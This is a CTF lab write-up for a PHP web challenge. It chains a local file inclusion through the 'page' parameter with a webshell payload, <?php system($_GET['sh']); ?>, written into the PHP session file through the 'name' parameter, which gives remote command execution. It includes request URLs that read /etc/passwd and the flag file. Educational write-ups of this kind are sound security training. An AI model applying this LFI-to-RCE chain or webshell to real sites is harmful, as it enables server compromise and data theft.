Simple Web 0x01(Lab - Hello from Windows 98)
tags: CTF Web eductf
Challenge: https://windows.ctf.zoolab.org/
Very similar to 0x07(Lab - HakkaMD)
Source code
1 | |
Analyze
- 第一個關鍵應該就是最下面的,代表可以利用page query到任意檔案
1
2
3
4
5... <div class="window-body"> <?php include($_GET['page']);?> </div> ... - 第二個關鍵應該是透過name寫入特定檔案,而這個特定檔案就是php的session file
1
2
3
4
5
6
7... if(isset($_GET['name']) && $_GET['name']!=''){ $_SESSION['name'] = $_GET['name']; header("Location: /?page=hi.php"); die(); } ... - 基本上如果沒有特別說明,我們都會預設題目的設定為default,那麼就可以假設php的session file放在default的folder
/tmp/sess_<phpsessid>/var/lib/php/sessions/sess_<phpsessid>
- 因此,我們要做的事情就可以串在一起,初次request website的時候會自動因為
session_start();而create一個session file,並且存放在上述提到的地方,那麼我們可以利用name query的方式寫webshell進去該檔案,再利用page query的方式達到RCE
Exploit - LFI to RCE
- First things first, the website has
LFIproblem1
https://windows.ctf.zoolab.org/?page=/etc/passwd
-
通靈
: It didn’t provide any information about system, so we can assume the setting is default at first. 先看一下網站上的cookie seesion phpsessid是多少 →
nca4b5qigmkrl0b0bjid40cbr2-1.png)
- 寫入
webshell到session file1
http://localhost:8000/?name=<?php system($_GET['sh']); ?>↓ We use
LFIto read session file: ``` https://windows.ctf.zoolab.org/?page=/tmp/sess_nca4b5qigmkrl0b0bjid40cbr2
# 如果是deploy local server在Ubuntu的話要更改session file的path http://localhost:8000/?page=/var/lib/php/sessions/sess_nca4b5qigmkrl0b0bjid40cbr2
1 | |
https://windows.ctf.zoolab.org/?page=/tmp/sess_995c0ecc84473170723e595f9f4b8829&sh=ls%20/var/www/html
1 | |
https://windows.ctf.zoolab.org/?page=/tmp/sess_995c0ecc84473170723e595f9f4b8829&sh=cat%20/var/www/html/flag.txt ```
- Then we got flag!!!